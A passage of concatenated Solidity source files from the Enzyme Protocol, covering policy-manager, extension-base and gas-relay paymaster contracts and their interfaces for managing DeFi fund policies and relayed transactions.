function callOnContract(address, bytes calldata) external returns (bytes memory);
function canManageAssets(address) external view returns (bool);
function canRelayCalls(address) external view returns (bool);
function getAccessor() external view returns (address);
function getOwner() external view returns (address);
function getActiveExternalPositions() external view returns (address[] memory);
function getTrackedAssets() external view returns (address[] memory);
function isActiveExternalPosition(address) external view returns (bool);
function isTrackedAsset(address) external view returns (bool);
function mintShares(address, uint256) external;
function payProtocolFee() external;
function receiveValidatedVaultAction(VaultAction, bytes calldata) external;
function setAccessorForFundReconfiguration(address) external;
function setSymbol(string calldata) external;
function transferShares(
address,
address,
uint256
) external;
function withdrawAssetTo(
address,
address,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExtension Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all extensions
interface IExtension {
function activateForFund(bool _isMigration) external;
function deactivateForFund() external;
function receiveCallFromComptroller(
address _caller,
uint256 _actionId,
bytes calldata _callArgs
) external;
function setConfigForFund(
address _comptrollerProxy,
address _vaultProxy,
bytes calldata _configData
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title FeeManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the FeeManager
interface IFeeManager {
// No fees for the current release are implemented post-redeemShares
enum FeeHook {Continuous, PreBuyShares, PostBuyShares, PreRedeemShares}
enum SettlementType {None, Direct, Mint, Burn, MintSharesOutstanding, BurnSharesOutstanding}
function invokeHook(
FeeHook,
bytes calldata,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IPolicyManager.sol";
/// @title Policy Interface
/// @author Enzyme Council <[email protected]>
interface IPolicy {
function activateForFund(address _comptrollerProxy) external;
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings) external;
function canDisable() external pure returns (bool canDisable_);
function identifier() external pure returns (string memory identifier_);
function implementedHooks()
external
pure
returns (IPolicyManager.PolicyHook[] memory implementedHooks_);
function updateFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external;
function validateRule(
address _comptrollerProxy,
IPolicyManager.PolicyHook _hook,
bytes calldata _encodedArgs
) external returns (bool isValid_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title PolicyManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the PolicyManager
interface IPolicyManager {
// When updating PolicyHook, also update these functions in PolicyManager:
// 1. __getAllPolicyHooks()
// 2. __policyHookRestrictsCurrentInvestorActions()
enum PolicyHook {
PostBuyShares,
PostCallOnIntegration,
PreTransferShares,
RedeemSharesForSpecificAssets,
AddTrackedAssets,
RemoveTrackedAssets,
CreateExternalPosition,
PostCallOnExternalPosition,
RemoveExternalPosition,
ReactivateExternalPosition
}
function validatePolicies(
address,
PolicyHook,
bytes calldata
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../../core/fund/comptroller/IComptroller.sol";
import "../../core/fund/vault/IVault.sol";
import "../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol";
import "../../utils/AddressArrayLib.sol";
import "../utils/ExtensionBase.sol";
import "./IPolicy.sol";
import "./IPolicyManager.sol";
/// @title PolicyManager Contract
/// @author Enzyme Council <[email protected]>
/// @notice Manages policies for funds
/// @dev Any arbitrary fee is allowed by default, so all participants must be aware of
/// their fund's configuration, especially whether they use official policies only.
/// Policies that restrict current investors can only be added upon fund setup, migration, or reconfiguration.
/// Policies that restrict new investors or asset management actions can be added at any time.
/// Policies themselves specify whether or not they are allowed to be updated or removed.
contract PolicyManager is IPolicyManager, ExtensionBase, GasRelayRecipientMixin {
using AddressArrayLib for address[];
event PolicyDisabledOnHookForFund(
address indexed comptrollerProxy,
address indexed policy,
PolicyHook indexed hook
);
event PolicyEnabledForFund(
address indexed comptrollerProxy,
address indexed policy,
bytes settingsData
);
uint256 private constant POLICY_HOOK_COUNT = 10;
mapping(address => mapping(PolicyHook => address[])) private comptrollerProxyToHookToPolicies;
modifier onlyFundOwner(address _comptrollerProxy) {
require(
__msgSender() == IVault(getVaultProxyForFund(_comptrollerProxy)).getOwner(),
"Only the fund owner can call this function"
);
_;
}
constructor(address _fundDeployer, address _gasRelayPaymasterFactory)
public
ExtensionBase(_fundDeployer)
GasRelayRecipientMixin(_gasRelayPaymasterFactory)
{}
// EXTERNAL FUNCTIONS
/// @notice Validates and initializes policies as necessary prior to fund activation
/// @param _isMigratedFund True if the fund is migrating to this release
/// @dev There will be no enabledPolicies if the caller is not a valid ComptrollerProxy
function activateForFund(bool _isMigratedFund) external override {
address comptrollerProxy = msg.sender;
// Policies must assert that they are congruent with migrated vault state
if (_isMigratedFund) {
address[] memory enabledPolicies = getEnabledPoliciesForFund(comptrollerProxy);
for (uint256 i; i < enabledPolicies.length; i++) {
__activatePolicyForFund(comptrollerProxy, enabledPolicies[i]);
}
}
}
/// @notice Disables a policy for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _policy The policy address to disable
/// @dev If an arbitrary policy changes its `implementedHooks()` return values after it is
/// already enabled on a fund, then this will not correctly disable the policy from any
/// removed hook values.
function disablePolicyForFund(address _comptrollerProxy, address _policy)
external
onlyFundOwner(_comptrollerProxy)
{
require(IPolicy(_policy).canDisable(), "disablePolicyForFund: _policy cannot be disabled");
PolicyHook[] memory implementedHooks = IPolicy(_policy).implementedHooks();
for (uint256 i; i < implementedHooks.length; i++) {
bool disabled
= comptrollerProxyToHookToPolicies[_comptrollerProxy][implementedHooks[i]]
.removeStorageItem(_policy);
if (disabled) {
emit PolicyDisabledOnHookForFund(_comptrollerProxy, _policy, implementedHooks[i]);
}
}
}
/// @notice Enables a policy for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _policy The policy address to enable
/// @param _settingsData The encoded settings data with which to configure the policy
/// @dev Disabling a policy does not delete fund config on the policy, so if a policy is
/// disabled and then enabled again, its initial state will be the previous config. It is the
/// policy's job to determine how to merge that config with the _settingsData param in this function.
function enablePolicyForFund(
address _comptrollerProxy,
address _policy,
bytes calldata _settingsData
) external onlyFundOwner(_comptrollerProxy) {
PolicyHook[] memory implementedHooks = IPolicy(_policy).implementedHooks();
for (uint256 i; i < implementedHooks.length; i++) {
require(
!__policyHookRestrictsCurrentInvestorActions(implementedHooks[i]),
"enablePolicyForFund: _policy restricts actions of current investors"
);
}
__enablePolicyForFund(_comptrollerProxy, _policy, _settingsData, implementedHooks);
__activatePolicyForFund(_comptrollerProxy, _policy);
}
/// @notice Enable policies for use in a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _vaultProxy The VaultProxy of the fund
/// @param _configData Encoded config data
function setConfigForFund(
address _comptrollerProxy,
address _vaultProxy,
bytes calldata _configData
) external override onlyFundDeployer {
__setValidatedVaultProxy(_comptrollerProxy, _vaultProxy);
// In case there are no policies yet
if (_configData.length == 0) {
return;
}
(address[] memory policies, bytes[] memory settingsData) = abi.decode(
_configData,
(address[], bytes[])
);
// Sanity check
require(
policies.length == settingsData.length,
"setConfigForFund: policies and settingsData array lengths unequal"
);
// Enable each policy with settings
for (uint256 i; i < policies.length; i++) {
__enablePolicyForFund(
_comptrollerProxy,
policies[i],
settingsData[i],
IPolicy(policies[i]).implementedHooks()
);
}
}
/// @notice Updates policy settings for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _policy The Policy contract to update
/// @param _settingsData The encoded settings data with which to update the policy config
function updatePolicySettingsForFund(
address _comptrollerProxy,
address _policy,
bytes calldata _settingsData
) external onlyFundOwner(_comptrollerProxy) {
IPolicy(_policy).updateFundSettings(_comptrollerProxy, _settingsData);
}
/// @notice Validates all policies that apply to a given hook for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _hook The PolicyHook for which to validate policies
/// @param _validationData The encoded data with which to validate the filtered policies
function validatePolicies(
address _comptrollerProxy,
PolicyHook _hook,
bytes calldata _validationData
) external override {
// Return as quickly as possible if no policies to run
address[] memory policies = getEnabledPoliciesOnHookForFund(_comptrollerProxy, _hook);
if (policies.length == 0) {
return;
}
// Limit calls to trusted components, in case policies update local storage upon runs
require(
msg.sender == _comptrollerProxy ||
msg.sender == IComptroller(_comptrollerProxy).getIntegrationManager() ||
msg.sender == IComptroller(_comptrollerProxy).getExternalPositionManager(),
"validatePolicies: Caller not allowed"
);
for (uint256 i; i < policies.length; i++) {
require(
IPolicy(policies[i]).validateRule(_comptrollerProxy, _hook, _validationData),
string(
abi.encodePacked(
"Rule evaluated to false: ",
IPolicy(policies[i]).identifier()
)
)
);
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to activate a policy for a fund
function __activatePolicyForFund(address _comptrollerProxy, address _policy) private {
IPolicy(_policy).activateForFund(_comptrollerProxy);
}
/// @dev Helper to set config and enable policies for a fund
function __enablePolicyForFund(
address _comptrollerProxy,
address _policy,
bytes memory _settingsData,
PolicyHook[] memory _hooks
) private {
// Set fund config on policy
if (_settingsData.length > 0) {
IPolicy(_policy).addFundSettings(_comptrollerProxy, _settingsData);
}
// Add policy
for (uint256 i; i < _hooks.length; i++) {
require(
!policyIsEnabledOnHookForFund(_comptrollerProxy, _hooks[i], _policy),
"__enablePolicyForFund: Policy is already enabled"
);
comptrollerProxyToHookToPolicies[_comptrollerProxy][_hooks[i]].push(_policy);
}
emit PolicyEnabledForFund(_comptrollerProxy, _policy, _settingsData);
}
/// @dev Helper to get all the hooks available to policies
function __getAllPolicyHooks()
private
pure
returns (PolicyHook[POLICY_HOOK_COUNT] memory hooks_)
{
return [
PolicyHook.PostBuyShares,
PolicyHook.PostCallOnIntegration,
PolicyHook.PreTransferShares,
PolicyHook.RedeemSharesForSpecificAssets,
PolicyHook.AddTrackedAssets,
PolicyHook.RemoveTrackedAssets,
PolicyHook.CreateExternalPosition,
PolicyHook.PostCallOnExternalPosition,
PolicyHook.RemoveExternalPosition,
PolicyHook.ReactivateExternalPosition
];
}
/// @dev Helper to check if a policy hook restricts the actions of current investors.
/// These hooks should not allow policy additions post-deployment or post-migration.
function __policyHookRestrictsCurrentInvestorActions(PolicyHook _hook)
private
pure
returns (bool restrictsActions_)
{
return
_hook == PolicyHook.PreTransferShares ||
_hook == PolicyHook.RedeemSharesForSpecificAssets;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Get a list of enabled policies for the given fund
/// @param _comptrollerProxy The ComptrollerProxy
/// @return enabledPolicies_ The array of enabled policy addresses
function getEnabledPoliciesForFund(address _comptrollerProxy)
public
view
returns (address[] memory enabledPolicies_)
{
PolicyHook[POLICY_HOOK_COUNT] memory hooks = __getAllPolicyHooks();
for (uint256 i; i < hooks.length; i++) {
enabledPolicies_ = enabledPolicies_.mergeArray(
getEnabledPoliciesOnHookForFund(_comptrollerProxy, hooks[i])
);
}
return enabledPolicies_;
}
/// @notice Get a list of enabled policies that run on a given hook for the given fund
/// @param _comptrollerProxy The ComptrollerProxy
/// @param _hook The PolicyHook
/// @return enabledPolicies_ The array of enabled policy addresses
function getEnabledPoliciesOnHookForFund(address _comptrollerProxy, PolicyHook _hook)
public
view
returns (address[] memory enabledPolicies_)
{
return comptrollerProxyToHookToPolicies[_comptrollerProxy][_hook];
}
/// @notice Check whether a given policy runs on a given hook for a given fund
/// @param _comptrollerProxy The ComptrollerProxy
/// @param _hook The PolicyHook
/// @param _policy The policy
/// @return isEnabled_ True if the policy is enabled
function policyIsEnabledOnHookForFund(
address _comptrollerProxy,
PolicyHook _hook,
address _policy
) public view returns (bool isEnabled_) {
return getEnabledPoliciesOnHookForFund(_comptrollerProxy, _hook).contains(_policy);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]e.finance>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/FundDeployerOwnerMixin.sol";
import "../IExtension.sol";
/// @title ExtensionBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Base class for an extension
abstract contract ExtensionBase is IExtension, FundDeployerOwnerMixin {
event ValidatedVaultProxySetForFund(
address indexed comptrollerProxy,
address indexed vaultProxy
);
mapping(address => address) internal comptrollerProxyToVaultProxy;
modifier onlyFundDeployer() {
require(msg.sender == getFundDeployer(), "Only the FundDeployer can make this call");
_;
}
constructor(address _fundDeployer) public FundDeployerOwnerMixin(_fundDeployer) {}
/// @notice Allows extension to run logic during fund activation
/// @dev Unimplemented by default, may be overridden.
function activateForFund(bool) external virtual override {
return;
}
/// @notice Allows extension to run logic during fund deactivation (destruct)
/// @dev Unimplemented by default, may be overridden.
function deactivateForFund() external virtual override {
return;
}
/// @notice Receives calls from ComptrollerLib.callOnExtension()
/// and dispatches the appropriate action
/// @dev Unimplemented by default, may be overridden.
function receiveCallFromComptroller(
address,
uint256,
bytes calldata
) external virtual override {
revert("receiveCallFromComptroller: Unimplemented for Extension");
}
/// @notice Allows extension to run logic during fund configuration
/// @dev Unimplemented by default, may be overridden.
function setConfigForFund(
address,
address,
bytes calldata
) external virtual override {
return;
}
/// @dev Helper to store the validated ComptrollerProxy-VaultProxy relation
function __setValidatedVaultProxy(address _comptrollerProxy, address _vaultProxy) internal {
comptrollerProxyToVaultProxy[_comptrollerProxy] = _vaultProxy;
emit ValidatedVaultProxySetForFund(_comptrollerProxy, _vaultProxy);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the verified VaultProxy for a given ComptrollerProxy
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return vaultProxy_ The VaultProxy of the fund
function getVaultProxyForFund(address _comptrollerProxy)
public
view
returns (address vaultProxy_)
{
return comptrollerProxyToVaultProxy[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../interfaces/IGsnRelayHub.sol";
import "../../interfaces/IGsnTypes.sol";
import "../../interfaces/IWETH.sol";
import "../../core/fund/comptroller/ComptrollerLib.sol";
import "../../core/fund/vault/IVault.sol";
import "../../core/fund-deployer/FundDeployer.sol";
import "../../extensions/policy-manager/PolicyManager.sol";
import "./bases/GasRelayPaymasterLibBase1.sol";
import "./IGasRelayPaymaster.sol";
import "./IGasRelayPaymasterDepositor.sol";
/// @title GasRelayPaymasterLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The core logic library for the "paymaster" contract which refunds GSN relayers
contract GasRelayPaymasterLib is IGasRelayPaymaster, GasRelayPaymasterLibBase1 {
using SafeMath for uint256;
// Immutable and constants
// Sane defaults, subject to change after gas profiling
uint256 private constant CALLDATA_SIZE_LIMIT = 10500;
// Deposit in wei
uint256 private constant DEPOSIT = 0.2 ether;
// Sane defaults, subject to change after gas profiling
uint256 private constant PRE_RELAYED_CALL_GAS_LIMIT = 100000;
uint256 private constant POST_RELAYED_CALL_GAS_LIMIT = 110000;
// FORWARDER_HUB_OVERHEAD = 50000;
// PAYMASTER_ACCEPTANCE_BUDGET = FORWARDER_HUB_OVERHEAD + PRE_RELAYED_CALL_GAS_LIMIT
uint256 private constant PAYMASTER_ACCEPTANCE_BUDGET = 150000;
address private immutable RELAY_HUB;
address private immutable TRUSTED_FORWARDER;
address private immutable WETH_TOKEN;
modifier onlyComptroller() {
require(
msg.sender == getParentComptroller(),
"Can only be called by the parent comptroller"
);
_;
}
modifier relayHubOnly() {
require(msg.sender == getHubAddr(), "Can only be called by RelayHub");
_;
}
constructor(
address _wethToken,
address _relayHub,
address _trustedForwarder
) public {
RELAY_HUB = _relayHub;
TRUSTED_FORWARDER = _trustedForwarder;
WETH_TOKEN = _wethToken;
}
// INIT
/// @notice Initializes a paymaster proxy
/// @param _vault The VaultProxy associated with the paymaster proxy
/// @dev Used to set the owning vault
function init(address _vault) external {
require(getParentVault() == address(0), "init: Paymaster already initialized");
parentVault = _vault;
}
// EXTERNAL FUNCTIONS
/// @notice Pull deposit from the vault and reactivate relaying
function deposit() external override onlyComptroller {
__depositMax();
}
/// @notice Checks whether the paymaster will pay for a given relayed tx
/// @param _relayRequest The full relay request structure
/// @return context_ The tx signer and the fn sig, encoded so that it can be passed to `postRelayCall`
/// @return rejectOnRecipientRevert_ Always false
function preRelayedCall(
IGsnTypes.RelayRequest calldata _relayRequest,
bytes calldata,
bytes calldata,
uint256
)
external
override
relayHubOnly
returns (bytes memory context_, bool rejectOnRecipientRevert_)
{
address vaultProxy = getParentVault();
require(
IVault(vaultProxy).canRelayCalls(_relayRequest.request.from),
"preRelayedCall: Unauthorized caller"
);
bytes4 selector = __parseTxDataFunctionSelector(_relayRequest.request.data);
require(
__isAllowedCall(
vaultProxy,
_relayRequest.request.to,
selector,
_relayRequest.request.data
),
"preRelayedCall: Function call not permitted"
);
return (abi.encode(_relayRequest.request.from, selector), false);
}
/// @notice Called by the relay hub after the relayed tx is executed, tops up deposit if flag passed through paymasterdata is true
/// @param _context The context constructed by preRelayedCall (used to pass data from pre to post relayed call)
/// @param _success Whether or not the relayed tx succeed
/// @param _relayData The relay params of the request. can be used by relayHub.calculateCharge()
function postRelayedCall(
bytes calldata _context,
bool _success,
uint256,
IGsnTypes.RelayData calldata _relayData
) external override relayHubOnly {
bool shouldTopUpDeposit = abi.decode(_relayData.paymasterData, (bool));
if (shouldTopUpDeposit) {
__depositMax();
}
(address spender, bytes4 selector) = abi.decode(_context, (address, bytes4));
emit TransactionRelayed(spender, selector, _success);
}
/// @notice Send any deposited ETH back to the vault
function withdrawBalance() external override {
address vaultProxy = getParentVault();
require(
msg.sender == IVault(vaultProxy).getOwner() ||
msg.sender == __getComptrollerForVault(vaultProxy),
"withdrawBalance: Only owner or comptroller is authorized"
);
IGsnRelayHub(getHubAddr()).withdraw(getRelayHubDeposit(), payable(address(this)));
uint256 amount = address(this).balance;
Address.sendValue(payable(vaultProxy), amount);
emit Withdrawn(amount);
}
// PUBLIC FUNCTIONS
/// @notice Gets the current ComptrollerProxy of the VaultProxy associated with this contract
/// @return parentComptroller_ The ComptrollerProxy
function getParentComptroller() public view returns (address parentComptroller_) {
return __getComptrollerForVault(parentVault);
}
// PRIVATE FUNCTIONS
/// @dev Helper to pull WETH from the associated vault to top up to the max ETH deposit in the relay hub
function __depositMax() private {
uint256 prevDeposit = getRelayHubDeposit();
if (prevDeposit < DEPOSIT) {
uint256 amount = DEPOSIT.sub(prevDeposit);
IGasRelayPaymasterDepositor(getParentComptroller()).pullWethForGasRelayer(amount);
IWETH(getWethToken()).withdraw(amount);
IGsnRelayHub(getHubAddr()).depositFor{value: amount}(address(this));
emit Deposited(amount);
}
}
/// @dev Helper to get the ComptrollerProxy for a given VaultProxy
function __getComptrollerForVault(address _vaultProxy)
private
view
returns (address comptrollerProxy_)
{
return IVault(_vaultProxy).getAccessor();
}
/// @dev Helper to check if a contract call is allowed to be relayed using this paymaster
/// Allowed contracts are:
/// - VaultProxy
/// - ComptrollerProxy
/// - PolicyManager
/// - FundDeployer
function __isAllowedCall(
address _vaultProxy,
address _contract,
bytes4 _selector,
bytes calldata _txData
) private view returns (bool allowed_) {
if (_contract == _vaultProxy) {
// All calls to the VaultProxy are allowed
return true;
}
address parentComptroller = __getComptrollerForVault(_vaultProxy);
if (_contract == parentComptroller) {
if (
_selector == ComptrollerLib.callOnExtension.selector ||
_selector == ComptrollerLib.vaultCallOnContract.selector ||
_selector == ComptrollerLib.buyBackProtocolFeeShares.selector ||
_selector == ComptrollerLib.depositToGasRelayPaymaster.selector ||
_selector == ComptrollerLib.setAutoProtocolFeeSharesBuyback.selector
) {
return true;
}
} else if (_contract == ComptrollerLib(parentComptroller).getPolicyManager()) {
if (
_selector == PolicyManager.updatePolicySettingsForFund.selector ||
_selector == PolicyManager.enablePolicyForFund.selector ||
_selector == PolicyManager.disablePolicyForFund.selector
) {
return __parseTxDataFirstParameterAsAddress(_txData) == getParentComptroller();
}
} else if (_contract == ComptrollerLib(parentComptroller).getFundDeployer()) {
if (
_selector == FundDeployer.createReconfigurationRequest.selector ||
_selector == FundDeployer.executeReconfiguration.selector ||
_selector == FundDeployer.cancelReconfiguration.selector
) {
return __parseTxDataFirstParameterAsAddress(_txData) == getParentVault();
}
}
return false;
}
/// @notice Parses the first parameter of tx data as an address
/// @param _txData The tx data to retrieve the address from
/// @return retrievedAddress_ The extracted address
function __parseTxDataFirstParameterAsAddress(bytes calldata _txData)
private
pure
returns (address retrievedAddress_)
{
require(
_txData.length >= 36,
"__parseTxDataFirstParameterAsAddress: _txData is not a valid length"
);
return abi.decode(_txData[4:36], (address));
}
/// @notice Parses the function selector from tx data
/// @param _txData The tx data
/// @return functionSelector_ The extracted function selector
function __parseTxDataFunctionSelector(bytes calldata _txData)
private
pure
returns (bytes4 functionSelector_)
{
/// convert bytes[:4] to bytes4
require(
_txData.length >= 4,
"__parseTxDataFunctionSelector: _txData is not a valid length"
);
functionSelector_ =
_txData[0] |
(bytes4(_txData[1]) >> 8) |
(bytes4(_txData[2]) >> 16) |
(bytes4(_txData[3]) >> 24);
return functionSelector_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets gas limits used by the relay hub for the pre and post relay calls
/// @return limits_ `GasAndDataLimits(PAYMASTER_ACCEPTANCE_BUDGET, PRE_RELAYED_CALL_GAS_LIMIT, POST_RELAYED_CALL_GAS_LIMIT, CALLDATA_SIZE_LIMIT)`
function getGasAndDataLimits()
external
view
override
returns (IGsnPaymaster.GasAndDataLimits memory limits_)
{
return
IGsnPaymaster.GasAndDataLimits(
PAYMASTER_ACCEPTANCE_BUDGET,
PRE_RELAYED_CALL_GAS_LIMIT,
POST_RELAYED_CALL_GAS_LIMIT,
CALLDATA_SIZE_LIMIT
);
}
/// @notice Gets the `RELAY_HUB` variable value
/// @return relayHub_ The `RELAY_HUB` value
function getHubAddr() public view override returns (address relayHub_) {
return RELAY_HUB;
}
/// @notice Gets the `parentVault` variable value
/// @return parentVault_ The `parentVault` value
function getParentVault() public view returns (address parentVault_) {
return parentVault;
}
/// @notice Look up amount of ETH deposited on the relay hub
/// @return depositBalance_ amount of ETH deposited on the relay hub
function getRelayHubDeposit() public view override returns (uint256 depositBalance_) {
return IGsnRelayHub(getHubAddr()).balanceOf(address(this));
}
/// @notice Gets the `WETH_TOKEN` variable value
/// @return wethToken_ The `WETH_TOKEN` value
function getWethToken() public view returns (address wethToken_) {
return WETH_TOKEN;
}
/// @notice Gets the `TRUSTED_FORWARDER` variable value
/// @return trustedForwarder_ The forwarder contract which is trusted to validated the relayed tx signature
function trustedForwarder() external view override returns (address trustedForwarder_) {
return TRUSTED_FORWARDER;
}
/// @notice Gets the string representation of the contract version (fulfills interface)
/// @return versionString_ The version string
function versionPaymaster() external view override returns (string memory versionString_) {
return "2.2.3+opengsn.enzymefund.ipaymaster";
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
import "../../utils/beacon-proxy/IBeaconProxyFactory.sol";
import "./IGasRelayPaymaster.sol";
pragma solidity 0.6.12;
/// @title GasRelayRecipientMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin that enables receiving GSN-relayed calls
/// @dev IMPORTANT: Do not use storage var in this contract,
/// unless it is no longer inherited by the VaultLib
abstract contract GasRelayRecipientMixin {
address internal immutable GAS_RELAY_PAYMASTER_FACTORY;
constructor(address _gasRelayPaymasterFactory) internal {
GAS_RELAY_PAYMASTER_FACTORY = _gasRelayPaymasterFactory;
}
/// @dev Helper to parse the canonical sender of a tx based on whether it has been relayed
function __msgSender() internal view returns (address payable canonicalSender_) {
if (msg.data.length >= 24 && msg.sender == getGasRelayTrustedForwarder()) {
assembly {
canonicalSender_ := shr(96, calldataload(sub(calldatasize(), 20)))
}
return canonicalSender_;
}
return msg.sender;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `GAS_RELAY_PAYMASTER_FACTORY` variable
/// @return gasRelayPaymasterFactory_ The `GAS_RELAY_PAYMASTER_FACTORY` variable value
function getGasRelayPaymasterFactory()
public
view
returns (address gasRelayPaymasterFactory_)
{
return GAS_RELAY_PAYMASTER_FACTORY;
}
/// @notice Gets the trusted forwarder for GSN relaying
/// @return trustedForwarder_ The trusted forwarder
function getGasRelayTrustedForwarder() public view returns (address trustedForwarder_) {
return
IGasRelayPaymaster(
IBeaconProxyFactory(getGasRelayPaymasterFactory()).getCanonicalLib()
)
.trustedForwarder();
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../../interfaces/IGsnPaymaster.sol";
/// @title IGasRelayPaymaster Interface
/// @author Enzyme Council <[email protected]>
interface IGasRelayPaymaster is IGsnPaymaster {
function deposit() external;
function withdrawBalance() external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IGasRelayPaymasterDepositor Interface
/// @author Enzyme Council <[email protected]>
interface IGasRelayPaymasterDepositor {
function pullWethForGasRelayer(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title GasRelayPaymasterLibBase1 Contract
/// @author Enzyme Council <[email protected]>
/// @notice A persistent contract containing all required storage variables and events
/// for a GasRelayPaymasterLib
/// @dev DO NOT EDIT CONTRACT ONCE DEPLOYED. If new events or storage are necessary,
/// they should be added to a numbered GasRelayPaymasterLibBaseXXX that inherits the previous base.
/// e.g., `GasRelayPaymasterLibBase2 is GasRelayPaymasterLibBase1`
abstract contract GasRelayPaymasterLibBase1 {
event Deposited(uint256 amount);
event TransactionRelayed(address indexed authorizer, bytes4 invokedSelector, bool successful);
event Withdrawn(uint256 amount);
// Pseudo-constants
address internal parentVault;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IProtocolFeeTracker Interface
/// @author Enzyme Council <[email protected]>
interface IProtocolFeeTracker {
function initializeForVault(address) external;
function payFee() external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IValueInterpreter interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for ValueInterpreter
interface IValueInterpreter {
function calcCanonicalAssetValue(
address,
uint256,
address
) external returns (uint256);
function calcCanonicalAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256);
function isSupportedAsset(address) external view returns (bool);
function isSupportedDerivativeAsset(address) external view returns (bool);
function isSupportedPrimitiveAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IGsnForwarder interface
/// @author Enzyme Council <[email protected]>
interface IGsnForwarder {
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
uint256 validUntil;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./IGsnTypes.sol";
/// @title IGsnPaymaster interface
/// @author Enzyme Council <[email protected]>
interface IGsnPaymaster {
struct GasAndDataLimits {
uint256 acceptanceBudget;
uint256 preRelayedCallGasLimit;
uint256 postRelayedCallGasLimit;
uint256 calldataSizeLimit;
}
function getGasAndDataLimits() external view returns (GasAndDataLimits memory limits);
function getHubAddr() external view returns (address);
function getRelayHubDeposit() external view returns (uint256);
function preRelayedCall(
IGsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
) external returns (bytes memory context, bool rejectOnRecipientRevert);
function postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
IGsnTypes.RelayData calldata relayData
) external;
function trustedForwarder() external view returns (address);
function versionPaymaster() external view returns (string memory);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
